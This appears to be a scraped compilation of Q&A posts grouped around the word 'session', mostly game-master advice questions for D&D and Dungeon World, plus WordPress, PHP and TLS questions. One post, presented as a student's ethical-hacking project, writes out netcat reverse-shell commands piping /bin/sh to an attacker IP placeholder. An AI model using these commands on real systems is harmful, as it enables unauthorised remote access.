So what do I do when a player gets bad luck at the start of the session?

As an introduction, I am a novice- ah hem, trainee GM. A pro D&D/Dungeon World player has been helping me, but I ran into a problem while running Dungeon World.

One of my players (A female Salamander Immolator) was at camp with a vampire attacking and almost all of the roles she made had a consequence with it, and I ended up having to have them rescued. It has also happened to me as a player and I am wondering how I could make the first encounter easy even when the player has bad luck?

How should I set up and execute air battles in my session to avoid easy encounters?

I’m running the Storm King’s Thunder campaign, and we are at the portion where the PCs get an airship to travel around in, the airship is about 1000ft in the air. There are approximately 5-6 lvl 7 PCs, and they have 3 or 4 hard encounters a day. There are two wizards, a warlock, ranger, paladin, blood hunter, sorcerer, and fighter.

For the most part, they have had fun with the different weapons and enemies they have faced; however, I find that one or two spellcasting PCs have been using spells such as mind sliver, polymorph, and hypnotic pattern to defeat more challenging encounters, such as one with a roc and wyvern. They make the creature make saving throws with hypnotic pattern and cause the enemy to fall to its death, and using mind sliver makes it even harder, especially on low wisdom creatures like rocs. Or with the polymorph spell, they cause the enemy to become a fish or chicken and throw it off the edge, and since the damage carries over, it kills the monster. I realize it was legal and made fights funnier, but it does get annoying when it’s happening in almost every fight. Are there any suggestions on how to keep them on track without them making every encounter easy?

I thought of giving the monsters immunity to these effects, but it sounds like a lame excuse for me not being prepared.

How should I set up and execute air battles in my session to avoid easy encounters? [duplicate]

I’m running the Storm King’s Thunder campaign in dnd 5e, and we are at the portion where the PCs get an airship to travel around in. There are approximately 5-6 lvl 7 PCs, and they have 3 or 4 hard encounters a day. There are two wizards, a warlock, ranger, paladin, blood hunter, sorcerer, and fighter.

For the most part, they have had fun with the different weapons and enemies they have faced; however, I find that one or two spellcasting PCs have been using spells such as mind sliver, polymorph, and hypnotic pattern to defeat more challenging encounters, such as one with a roc and wyvern. They make the creature make saving throws with hypnotic pattern and cause the enemy to fall to its death, and using mind sliver makes it even harder, especially on low wisdom creatures like rocs. Or with the polymorph spell, they cause the enemy to become a fish or chicken and throw it off the edge, and since the damage carries over, it kills the monster. I realize it was legal and made fights funnier, but it does get annoying when it’s happening in almost every fight. Are there any suggestions on how to keep them on track without them making every encounter easy?

I thought of giving the monsters immunity to these effects, but it sounds like a lame excuse for me not being prepared.

Auto redirect after session expire, but only for one user

Does anyone have an insight as to how I could auto redirect only one user instead of for everyone when a session times out?

IE user – paul when his session times out, takes him to XYZ.com/page instead of the basic re-log in page? Everyone else would still use the default log out redirect.

I am using this in my functions now:

add_action(‘wp_logout’,’auto_redirect_after_logout’);

function auto_redirect_after_logout(){   wp_safe_redirect( home_url() );   exit; } 

How can I quickly get a player back into a session after their character dies?

As a GM, what kind of techniques could I use to help a player re-join the gaming session after their character dies? I want to avoid any major interruptions to the flow of the adventure. I would also like to avoid having to end the session immediately or making them sit on the side-lines for the rest of the session.

Setting up netcat session over the internet [closed]

I am a student working on an ethical hacking project.

How do I set a netcat session over the internet? My project requires us to use a public service like AWS or DigitalOcean as the victim machine and my own PC has an attacker machine. I tried the following commands:

Attacker’s machine running the latest Kali 2020.3 (Tried NAT VM setup and live booting too):

nc –nlvp 5555 

Victim’s machine running ubuntu 18.04.05:

/bin/sh | nc <PUBLIC IP OF ATTACKER's MACHINE> 5555 

But it just does not open a reverse shell on the attacker’s machine. Did I miss out anything?

How to change another users session with php [closed]

I am going to explain this with an example Jake and Kevin own a company called facebook, they want a means of advertisement so they create an account named facebook and immediately after creating it both of them login to the account and start advertising, later Jake wanted to change the name of their company to stackoverflow so he went to the settings and did just that, problem now is that on jakes laptop the name is stackoverflow but on kevin’s laptop the name is facebook How can i make it that at the point of submission my php script checks if the user name for anyother session is facebook and change it to stackoverflow

TLS- Key exchange for session keys. Why?

I have a question about the Key Exchange Algorithm used in TLS process. I have read that the Key Exchange algorithm is used by client and server to exchange session keys. Do the client and server exchange session keys at the end of Handshake process? If they arrive mathematically at the same results for session keys at the end of the process, why would they exchange them?

How to make a guest feel comfortable and welcome in a session?

I am currently DMing for a group of 5 players. A friend of some of the players is very interested in learning about the game.

I have decided to let her play an NPC in one of the upcoming sessions, to gain more insight into this game.

This NPC is already fleshed out and will be an integral part of the story, when she shows up. Therefore I am not able to completely adapt this NPC to the guests wishes.

I have so far tried to describe as much as possible of the NPC, it’s place in the world, family, motivation etc. to the guest. Also some key behaviours, that are relevant to the gameplay. I.e. how she needs to react, what she needs to tell the PCs when asked for it.

Nevertheless, our guest is still rather nervous about the upcoming session. As we probably all were in our first sessions. I am trying to encourage and support her as much as possible, and I am sure she will do fine.

Nevertheless, I am still wondering if there are specific things I could do to help her in this role and to make her experience great?

I know this situation is very similar to having a new player join a group. And I have read many discussions/answers regarding this situation. But this situation is slightly different since she was not able to choose her own character, but has to act out my pre-written NPC. She will be more limited, than if she could just do her own character.